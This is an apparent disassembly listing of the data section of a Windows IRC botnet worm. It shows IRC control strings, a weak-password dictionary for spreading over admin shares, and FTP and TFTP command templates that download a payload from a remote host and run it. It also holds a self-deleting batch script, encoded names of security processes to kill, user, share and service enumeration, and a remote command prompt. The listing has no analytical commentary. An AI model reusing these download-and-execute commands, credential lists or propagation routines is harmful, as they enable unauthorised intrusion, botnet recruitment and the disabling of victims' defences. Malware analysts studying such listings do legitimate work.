aVenedik34	db 'venedik34',0        ; DATA XREF: .nsp0:0043B170o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: .nsp0:0043B16Co
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: .nsp0:0043B168o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: .nsp0:0043B164o
		align 10h
aMelekk		db 'melekk',0           ; DATA XREF: .nsp0:0043B160o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: .nsp0:0043B15Co
		align 10h
aMary_0		db 'MARY',0             ; DATA XREF: .nsp0:0043B158o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: .nsp0:0043B154o
aTolga34	db 'Tolga34',0          ; DATA XREF: .nsp0:0043B150o
aMisssunday	db 'misssunday',0       ; DATA XREF: .nsp0:0043B14Co
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: .nsp0:0043B148o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: .nsp0:0043B144o
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: .nsp0:0043B140o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: .nsp0:0043B13Co
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: .nsp0:0043B138o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: .nsp0:0043B134o
		align 10h
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: .nsp0:0043B130o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: .nsp0:0043B12Co
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: .nsp0:0043B128o
aReshma		db 'reshma',0           ; DATA XREF: .nsp0:0043B124o
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: .nsp0:0043B120o
		align 10h
aGirl_0		db 'GirL',0             ; DATA XREF: .nsp0:0043B11Co
		align 4
aImra		db 'imra',0             ; DATA XREF: .nsp0:0043B118o
		align 10h
aCoredump	db 'CoreDump',0         ; DATA XREF: .nsp0:0043B114o
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: .nsp0:0043B110o
		align 4
aManee		db 'manee',0            ; DATA XREF: .nsp0:0043B108o
		align 10h
aTroller	db 'troller',0          ; DATA XREF: .nsp0:0043B104o
aLuisa		db 'Luisa',0            ; DATA XREF: .nsp0:0043B100o
		align 10h
aNastysha	db 'nastysha',0         ; DATA XREF: .nsp0:0043B0FCo
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: .nsp0:0043B0F8o
		align 4
aJanno		db 'janno',0            ; DATA XREF: .nsp0:0043B0F4o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: .nsp0:0043B0F0o
		align 4
aHeval		db 'heval',0            ; DATA XREF: .nsp0:0043B0ECo
		align 4
aCme		db 'cme',0              ; DATA XREF: .nsp0:0043B0E8o
aTalika		db 'talika',0           ; DATA XREF: .nsp0:0043B0E0o
		align 4
aShez		db 'Shez',0             ; DATA XREF: .nsp0:0043B0DCo
		align 10h
aKen		db 'ken',0              ; DATA XREF: .nsp0:0043B0D8o
aFlexster	db 'flexster',0         ; DATA XREF: .nsp0:0043B0D4o
		align 10h
aKoko		db 'koko',0             ; DATA XREF: .nsp0:0043B0D0o
		align 4
aMale		db 'male',0             ; DATA XREF: .nsp0:0043B0CCo
		align 10h
aSwin		db 'swin',0             ; DATA XREF: .nsp0:0043B0C8o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: .nsp0:0043B0C4o
aKrizha		db 'KRIZHA',0           ; DATA XREF: .nsp0:0043B0C0o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: .nsp0:0043B0BCo
		align 10h
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: .nsp0:0043B0B8o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: .nsp0:0043B0B4o
aFarooq		db 'farooq',0           ; DATA XREF: .nsp0:0043B0B0o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: .nsp0:0043B0ACo
		align 4
aM_2:					; DATA XREF: .nsp0:0043B0A8o
					; .nsp0:0043B3F4o
		unicode	0, <M>,0
aN_0:					; DATA XREF: .nsp0:0043B0A4o
		unicode	0, <N>,0
aB_1:					; DATA XREF: .nsp0:0043B0A0o
		unicode	0, <B>,0
aV_0:					; DATA XREF: .nsp0:0043B09Co
		unicode	0, <V>,0
aC_0:					; DATA XREF: .nsp0:0043B098o
		unicode	0, <C>,0
asc_43BAFC:				; DATA XREF: .nsp0:0043B094o
					; .nsp0:0043B428o
		unicode	0, <X>,0
aZ_0:					; DATA XREF: .nsp0:0043B090o
		unicode	0, <Z>,0
asc_43BB04:				; DATA XREF: .nsp0:0043B08Co
		unicode	0, <L>,0
aK_0:					; DATA XREF: .nsp0:0043B088o
		unicode	0, <K>,0
aJ_0:					; DATA XREF: .nsp0:0043B084o
		unicode	0, <J>,0
asc_43BB10:				; DATA XREF: .nsp0:0043B080o
		unicode	0, <H>,0
aG_0:					; DATA XREF: .nsp0:0043B07Co
		unicode	0, <G>,0
aF_1:					; DATA XREF: .nsp0:0043B078o
					; .nsp0:0043B3F0o
		unicode	0, <F>,0
aD_2:					; DATA XREF: .nsp0:0043B074o
		unicode	0, <D>,0
aS_5:					; DATA XREF: .nsp0:0043B070o
		unicode	0, <S>,0
aP_0:					; DATA XREF: .nsp0:0043B068o
		unicode	0, <P>,0
aO_1:					; DATA XREF: .nsp0:0043B064o
		unicode	0, <O>,0
aU_0:					; DATA XREF: .nsp0:0043B05Co
		unicode	0, <U>,0
aY_0:					; DATA XREF: .nsp0:0043B058o
		unicode	0, <Y>,0
aT_0:					; DATA XREF: .nsp0:0043B054o
		unicode	0, <T>,0
aR_0:					; DATA XREF: .nsp0:0043B050o
		unicode	0, <R>,0
aE_0:					; DATA XREF: .nsp0:0043B04Co
		unicode	0, <E>,0
aW_0:					; DATA XREF: .nsp0:0043B048o
		unicode	0, <W>,0
aQ_0:					; DATA XREF: .nsp0:0043B044o
		unicode	0, <Q>,0
aNickS_0	db 'NICK %s',0Ah,0      ; DATA XREF: sub_414C5B+C1o
		align 4
a432		db '432',0              ; DATA XREF: sub_414C5B+86o
aPongS_0	db 'PONG %s',0Ah,0      ; DATA XREF: sub_414C5B+65o
		align 4
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_414D50+98o
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_414F6D+BCo
					; sub_414F6D+174r ...
		align 10h
dword_43BBA0	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4153A4+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43BBEC	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_4153A4+E3o
; ---------------------------------------------------------------------------


loc_43BC08:				; DATA XREF: sub_4153A4+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_43BC1C	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_4153A4+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_415765+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_4158AC+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_415950+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_415972+140o
		align 10h
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_415972+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_415972+48o
		align 10h
unk_43BCD0	db  2Dh	; -		; DATA XREF: sub_415AFA+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 10h
unk_43BD00	db  2Dh	; -		; DATA XREF: sub_415AFA+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_43BD28	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_415AFA+5Co
		dd 65726165h, 64h, 0
aEchoOpenSDOE_0	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_415BBD+C6o
		db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0
aTftpISGetSS	db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: sub_415BBD+9Do
		align 10h
off_43BDC0	dd offset aAdd		; DATA XREF: sub_415E14+6Dr
					; sub_4161FB+50r ...
					; "Add"
off_43BDC4	dd offset aAdded	; DATA XREF: sub_415E14+2Dr
					; sub_4161FB+82r ...
					; "Added"
dword_43BDC8	dd 0			; DATA XREF: sub_415E14+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 43BE34h, 43BE2Ch,	2, 43BE20h, 43BE14h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .nsp0:0043BDF4o
aStop_0		db 'Stop',0             ; DATA XREF: .nsp0:0043BDF0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .nsp0:0043BDE8o
aStart_0	db 'Start',0            ; DATA XREF: .nsp0:0043BDE4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: .nsp0:0043BDDCo
		align 4
aList_1		db 'List',0             ; DATA XREF: .nsp0:0043BDD8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .nsp0:0043BDD0o
aDelete_0	db 'Delete',0           ; DATA XREF: .nsp0:0043BDCCo
		align 4
aAdded		db 'Added',0            ; DATA XREF: .nsp0:off_43BDC4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: .nsp0:off_43BDC0o
unk_43BE88	db  2Dh	; -		; DATA XREF: sub_415E14+74o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_43BEAC	db  2Dh	; -		; DATA XREF: sub_415E14+55o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_43BED8	db  2Dh	; -		; DATA XREF: sub_415E14+38o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_415F3D+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_415F3D:loc_416055o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_415F3D:loc_41604Eo
		align 10h
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_415F3D:loc_416047o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_415F3D:loc_416040o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_415F3D:loc_416039o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_415F3D:loc_416032o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_415F3D:loc_41602Bo
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_415F3D:loc_416024o
		align 8
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_415F3D:loc_41601Do
		db 'marked for deletion.',0
		align 10h
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_415F3D:loc_416016o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_415F3D:loc_415FEBo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_415F3D:loc_415FE4o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_415F3D:loc_415FDDo
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_415F3D:loc_415FD6o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_415F3D+8Fo
		align 10h
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_415F3D:loc_415FABo
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_415F3D:loc_415FA1o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_415F3D:loc_415F97o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_415F3D:loc_415F8Do
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_415F3D:loc_415F83o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_415F3D+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_4160BB+EEo
aStopped	db '    Stopped',0      ; DATA XREF: sub_4160BB:loc_41618Ao
aStarting	db '   Starting',0      ; DATA XREF: sub_4160BB:loc_416183o
aStoping	db '    Stoping',0      ; DATA XREF: sub_4160BB:loc_41617Co
aRunning_0	db '    Running',0      ; DATA XREF: sub_4160BB:loc_416175o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_4160BB:loc_41616Eo
aPausing	db '    Pausing',0      ; DATA XREF: sub_4160BB:loc_416167o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_4160BB:loc_416160o
aUnknown_1	db '    Unknown',0      ; DATA XREF: sub_4160BB+9Eo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_4160BB+25o
		align 4
unk_43C43C	db  2Dh	; -		; DATA XREF: sub_4161FB+ABo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_43C460	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_4161FB+89o
		dd 73252720h, 27h
unk_43C47C	db  2Dh	; -		; DATA XREF: sub_4161FB+57o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_416389+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_416389+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_416389+B5o
unk_43C4C8	db  2Dh	; -		; DATA XREF: sub_416389+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_416389+26o
		align 4
unk_43C528	db  2Dh	; -		; DATA XREF: sub_4164AA+B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_43C550	db  2Dh	; -		; DATA XREF: sub_4164AA+94o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_43C580	db  2Dh	; -		; DATA XREF: sub_4164AA+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_43C5A0	db  2Dh	; -		; DATA XREF: sub_4165F0+394o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_4165F0+36Ao
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_4165F0+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4165F0+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_4165F0+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_4165F0+2C4o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_4165F0+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_4165F0+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_4165F0+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_4165F0+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_4165F0+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_4165F0+1CBo
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_4165F0+1A0o
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_4165F0+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_4165F0+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_4165F0+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_4165F0:loc_416709o
		align 10h
aUser_1		db 'User',0             ; DATA XREF: sub_4165F0:loc_416702o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_4165F0+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_4165F0+ACo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_4165F0+81o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_4165F0+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4169BE+145o
		align 4
unk_43C74C	db  2Dh	; -		; DATA XREF: sub_4169BE:loc_416AABo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_6		db '  %S',0             ; DATA XREF: sub_4169BE+BAo
		align 10h
unk_43C780	db  2Dh	; -		; DATA XREF: sub_4169BE+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4169BE+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_416B34:loc_416C51o
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_416B34:loc_416C4Ao
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_416B34:loc_416C43o
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_416B34:loc_416C3Co
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_416B34:loc_416C35o
		align 10h
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_416B34:loc_416C18o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_416B34:loc_416C11o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_416B34:loc_416C0Ao
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_416B34+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_416B34:loc_416BDFo
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_416B34:loc_416BD8o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_416B34:loc_416BD1o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_416B34:loc_416BC7o
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_416B34+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_416B34:loc_416BA1o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_416B34:loc_416B97o
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_416B34:loc_416B8Do
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_416B34:loc_416B83o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_416B34:loc_416B79o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_416B34+3Bo
		align 10h
dword_43CA90	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_416C68+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_43CABC	db  2Dh	; -		; DATA XREF: sub_416C68+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 8
dword_43CAE8	dd 7530h		; DATA XREF: sub_4170C9+12r
		align 10h
off_43CAF0	dd offset dword_43CC90	; DATA XREF: sub_416D91:loc_416E57r
; ---------------------------------------------------------------------------
		or	ah, 43h
		add	[esp+ecx*8+43h], dh
		add	[eax-34h], ch
		inc	ebx
		add	[esp+ecx*8+43h], bl
		add	[eax-34h], dl
		inc	ebx
		add	[eax-34h], al
		inc	ebx
		add	[eax], dh
		int	3		; Trap to Debugger
		inc	ebx
		add	[eax], bl
		int	3		; Trap to Debugger
		inc	ebx
		add	[esp+ecx*8], al
		inc	ebx
		add	al, bh
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	ah, ch
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	al, ah
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	ah, dl
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	al, cl
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	[ebx+ecx*8-3453FFBDh], bh
		inc	ebx
		add	[eax-6BFFBC35h], ah
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	[eax+7C0043CBh], cl
		retf
; ---------------------------------------------------------------------------
		dw 43h
		dd offset dword_43CB6C
; ---------------------------------------------------------------------------
		pusha
		retf
; ---------------------------------------------------------------------------
		dw 43h
; ---------------------------------------------------------------------------
		push	eax
		retf
; ---------------------------------------------------------------------------
		dw 43h
		dd 72313169h, 346E3435h, 6578652Eh, 0
		dd 6E757269h, 78652E34h, 65h
dword_43CB6C	dd 75643364h, 74616470h, 78652E65h, 65h, 65746172h, 6578652Eh
					; DATA XREF: .nsp0:0043CB44o
		dd 0
		dd 74617373h, 78652E65h, 65h, 736E6977h, 652E7379h, 6578h
		dd 756E6977h, 652E6470h, 6578h,	4D737953h, 50586E6Fh, 6578652Eh
		dd 0
		dd 61656262h, 2E656C67h, 657865h, 696E6550h, 2E323373h
		dd 657865h, 6B656574h, 2E736469h, 657865h, 4C42534Dh, 2E545341h
		dd 657865h, 7663736Dh, 2E323362h, 657865h, 69737973h, 2E6F666Eh
		dd 657865h, 646E6150h, 45564161h, 6E69676Eh, 78652E65h
		dd 65h,	636E6977h, 32336766h, 6578652Eh, 6B736174h, 2E6E6F6Dh
		dd 657865h, 656E6F7Ah, 72616C61h, 78652E6Dh, 65h, 6176616Eh
		dd 32337770h, 6578652Eh, 0
		dd 7776616Eh, 652E3233h, 6578h,	7270617Ah, 78652E6Fh, 65h
		dd 6C62736Dh, 2E747361h, 657865h, 7374656Eh, 2E746174h
		dd 657865h, 6F63736Dh, 6769666Eh, 6578652Eh, 0
dword_43CC90	dd 65676572h, 2E746964h, 657865h ; DATA	XREF: .nsp0:off_43CAF0o
dword_43CC9C	dd 20732520h, 29642528h, 0 ; DATA XREF:	sub_416D91+181o
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416D91+5Ao
					; sub_416D91+1E3o
		align 4
unk_43CCBC	db  2Dh	; -		; DATA XREF: sub_416FB4:loc_417041o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 10h
unk_43CCE0	db  2Dh	; -		; DATA XREF: sub_416FB4+86o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_43CD04	db  2Dh	; -		; DATA XREF: sub_416FB4+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_417151+33o
unk_43CD34	db  2Dh	; -		; DATA XREF: sub_4171D8:loc_41730Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43CD64	db  2Dh	; -		; DATA XREF: sub_4171D8+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_43CD8C	db  2Dh	; -		; DATA XREF: sub_4171D8:loc_4172BEo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_43CDBC	db  2Dh	; -		; DATA XREF: sub_41732D+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 10h
dword_43CDF0	dd 234032Dh, 2646D63h, 52202D03h, 746F6D65h, 6F432065h
					; DATA XREF: sub_41732D+14Co
		dd 6E616D6Dh, 72502064h, 74706D6Fh, 0
		dd offset dword_43CE4C
		dd 0
		dd offset dword_43CE44
		dd 0
		dd offset dword_43CE40
		dd offset dword_43CE3C
		dd offset dword_43CE38
		dd offset dword_43CE34
dword_43CE34	dd 5C3A44h		; DATA XREF: .nsp0:0043CE30o
dword_43CE38	dd 2444h		; DATA XREF: .nsp0:0043CE2Co
dword_43CE3C	dd 5C3A43h		; DATA XREF: .nsp0:0043CE28o
dword_43CE40	dd 2443h		; DATA XREF: .nsp0:0043CE24o
dword_43CE44	dd 494D4441h, 244Eh	; DATA XREF: .nsp0:0043CE1Co
dword_43CE4C	dd 24435049h, 0		; DATA XREF: .nsp0:0043CE14o
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4174FC+DEo
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_43CE88	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_4176D9+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_4176D9+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_4176D9+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_4176D9+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_4176D9+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_4176D9+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_4176D9+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_4176D9+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_4176D9+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_4176D9+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_4176D9+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_4176D9+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_4176D9+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_4176D9+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_4176D9+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_4176D9+62o
